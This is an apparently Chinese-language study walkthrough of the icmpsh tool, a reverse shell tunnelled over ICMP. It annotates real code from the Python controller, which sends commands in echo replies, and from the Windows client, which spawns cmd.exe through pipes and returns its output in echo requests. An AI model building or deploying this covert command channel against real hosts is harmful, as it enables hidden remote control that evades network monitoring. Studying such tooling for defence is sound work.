文件结构及功能介绍
- run.sh Linux环境中用于调用icmp-m.py,并在调用之前开启icmp_echo_ignore_all在调用之后关闭icmp_echo_ignore_all。
- icmpsh-m.py 用于接收客户端icmpsh.exe发过来的信息并向其发送命令
- icmpsh-m.c imcpsh-m.py的C语言版
- icmpsh.exe 运行于Windows系统的客户端 ,用于执行服务端发过来的命令及将执行结果发送回去
- icmpsh-s.c icmpsh.exe的源码
icmpsh的目标主机只能运行于Windows平台,控制端只能运行于Linux平台
关键点介绍
ICMP
Type:
8 for echo message;
0 for echo reply message.
Identifier:
为标识符,由主机设定,一般设置为进程号,回送应答报文与回送请求报文中identifier保持一致
Sequence:
由主机设定,一般设为由0递增的序列,回送响应报文与回送请求报文中Sequence Number保持一致
icmpsh-m.py
- setNonBlocking()
def setNonBlocking(fd):
"""
Make a file descriptor non-blocking
"""
import fcntl #fcntl用于该表文件描述符的各种属性
flags = fcntl.fcntl(fd, fcntl.F_GETFL)
flags = flags | os.O_NONBLOCK #设置此文件描述符为非阻塞模式
fcntl.fcntl(fd, fcntl.F_SETFL, flags)
非阻塞模式下read与write函数的表现如下:
- 即使缓冲区中没有数据read函数也不会阻塞而会返回0
- 即使缓冲区剩余空间小于要写入字节write函数也不会阻塞而会返回可以写入的字节数
下面两段代码可以有效说明setNonBlocking函数的作用:
- raw_socket
相关代码段如下
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_ICMP)
except socket.error, e:
sys.stderr.write('You need to run icmpsh master with administrator privileges\n')
sys.exit(1)
原始套接字可以操作运输层以下的报文数据,而ICMP报文就是位与传输层之下:
- sock.setblocking(0)
Set blocking or non-blocking mode of the socket: if flag is 0, the socket is set to non-blocking, else to blocking mode. Initially all sockets are in blocking mode. In non-blocking mode, if a recv() call doesn’t find any data, or if a send() call can’t immediately dispose of the data, an error exception is raised; in blocking mode, the calls block until they can proceed. s.setblocking(0) is equivalent to s.settimeout(0.0); s.setblocking(1) is equivalent to s.settimeout(None).
即将sock设置为非阻塞模式
- select()
This is a straightforward interface to the Unix select() system call. The first three arguments are sequences of ‘waitable objects’: either integers representing file descriptors or objects with a parameterless method named fileno() returning such an integer:
- rlist: wait until ready for reading
- wlist: wait until ready for writing
- xlist: wait for an “exceptional condition” (see the manual page for what your system considers such a condition)
Empty sequences are allowed, but acceptance of three empty sequences is platform-dependent. (It is known to work on Unix but not on Windows.) The optional timeout argument specifies a time-out as a floating point number in seconds. When the timeout argument is omitted the function blocks until at least one file descriptor is ready. A time-out value of zero specifies a poll and never blocks.
The return value is a triple of lists of objects that are ready: subsets of the first three arguments. When the time-out is reached without a file descriptor becoming ready, three empty lists are returned.
select用于返回准备好的IO行为的文件描述符
- sock.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
设置socket选项使其可以包含IP数据报头部。 - 下述代码判断包的发送方是否为客户端主机并判断包的类型,如果是的话则获得icmp的id及sequence供发送响应包时使用,并获得icmp包的数据显示到终端
if ippacket.get_ip_dst() == src and ippacket.get_ip_src() == dst and 8 == icmppacket.get_icmp_type():
# Get identifier and sequence number
ident = icmppacket.get_icmp_id()
seq_id = icmppacket.get_icmp_seq()
data = icmppacket.get_data_as_string()
if len(data) > 0:
sys.stdout.write(data)
- 下述代码获得终端输入的命令并作为icmp包的数据发送回去,发送之前要设置id及sequence并设置校验码并发送到客户端
try:
cmd = sys.stdin.readline()
except:
pass
if cmd == 'exit\n':
return
# Set sequence number and identifier
icmp.set_icmp_id(ident)
icmp.set_icmp_seq(seq_id)
# Include the command as data inside the ICMP packet
icmp.contains(ImpactPacket.Data(cmd))
# Calculate its checksum
icmp.set_icmp_cksum(0)
icmp.auto_checksum = 1
# Have the IP packet contain the ICMP packet (along with its payload)
ip.contains(icmp)
# Send it to the target host
sock.sendto(ip.get_packet(), (dst, 0))
icmpsh-s.c
- load_deps函数加载动态链接库导入to_ip,icmp_create,icmp_send函数,主要使用到了LoadLibraryA及GetProcAddress两个函数,这时加载动态链接库并获取其中函数时常用的两个函数。
int load_deps()
{
HMODULE lib;
lib = LoadLibraryA("ws2_32.dll");
if (lib != NULL) {
to_ip = GetProcAddress(lib, "inet_addr");
if (!to_ip) {
return 0;
}
}
lib = LoadLibraryA("iphlpapi.dll");
if (lib != NULL) {
icmp_create = GetProcAddress(lib, "IcmpCreateFile");
icmp_send = GetProcAddress(lib, "IcmpSendEcho");
if (icmp_create && icmp_send) {
return 1;
}
}
lib = LoadLibraryA("ICMP.DLL");
if (lib != NULL) {
icmp_create = GetProcAddress(lib, "IcmpCreateFile");
icmp_send = GetProcAddress(lib, "IcmpSendEcho");
if (icmp_create && icmp_send) {
return 1;
}
}
printf("failed to load functions (%u)", GetLastError());
return 0;
}
- spawn_shell函数主要开启一个终端子进程好执行系统命令
int spawn_shell(PROCESS_INFORMATION *pi, HANDLE *out_read, HANDLE *in_write)
{
SECURITY_ATTRIBUTES sattr;
STARTUPINFOA si;
HANDLE in_read, out_write;
memset(&si, 0x00, sizeof(SECURITY_ATTRIBUTES));
memset(pi, 0x00, sizeof(PROCESS_INFORMATION));
// create communication pipes
memset(&sattr, 0x00, sizeof(SECURITY_ATTRIBUTES));
sattr.nLength = sizeof(SECURITY_ATTRIBUTES);
sattr.bInheritHandle = TRUE;
sattr.lpSecurityDescriptor = NULL;
if (!CreatePipe(out_read, &out_write, &sattr, 0)) {
return STATUS_PROCESS_NOT_CREATED;
}
if (!SetHandleInformation(*out_read, HANDLE_FLAG_INHERIT, 0)) {
return STATUS_PROCESS_NOT_CREATED;
}
if (!CreatePipe(&in_read, in_write, &sattr, 0)) {
return STATUS_PROCESS_NOT_CREATED;
}
if (!SetHandleInformation(*in_write, HANDLE_FLAG_INHERIT, 0)) {
return STATUS_PROCESS_NOT_CREATED;
}
// spawn process
memset(&si, 0x00, sizeof(STARTUPINFO));
si.cb = sizeof(STARTUPINFO);
si.hStdError = out_write;
si.hStdOutput = out_write;
si.hStdInput = in_read;
si.dwFlags |= STARTF_USESTDHANDLES;
if (!CreateProcessA(NULL, "cmd", NULL, NULL, TRUE, 0, NULL, NULL, (LPSTARTUPINFOA) &si, pi)) {
return STATUS_PROCESS_NOT_CREATED;
}
CloseHandle(out_write);
CloseHandle(in_read);
return STATUS_OK;
}
- transfer_icmp函数要用用于icmp数据包的收发工作
int transfer_icmp(HANDLE icmp_chan, unsigned int target, char *out_buf, unsigned int out_buf_size, char *in_buf, unsigned int *in_buf_size, unsigned int max_in_data_size, unsigned int timeout)
{
int rs;
char *temp_in_buf;
int nbytes;
PICMP_ECHO_REPLY echo_reply;
temp_in_buf = (char *) malloc(max_in_data_size + ICMP_HEADERS_SIZE);
if (!temp_in_buf) {
return TRANSFER_FAILURE;
}
// send data to remote host
rs = icmp_send(
icmp_chan,
target,
out_buf,
out_buf_size,
NULL,
temp_in_buf,
max_in_data_size + ICMP_HEADERS_SIZE,
timeout);
// check received data
if (rs > 0) {
echo_reply = (PICMP_ECHO_REPLY) temp_in_buf;
if (echo_reply->DataSize > max_in_data_size) {
nbytes = max_in_data_size;
} else {
nbytes = echo_reply->DataSize;
}
memcpy(in_buf, echo_reply->Data, nbytes);
*in_buf_size = nbytes;
free(temp_in_buf);
return TRANSFER_SUCCESS;
}
free(temp_in_buf);
return TRANSFER_FAILURE;
}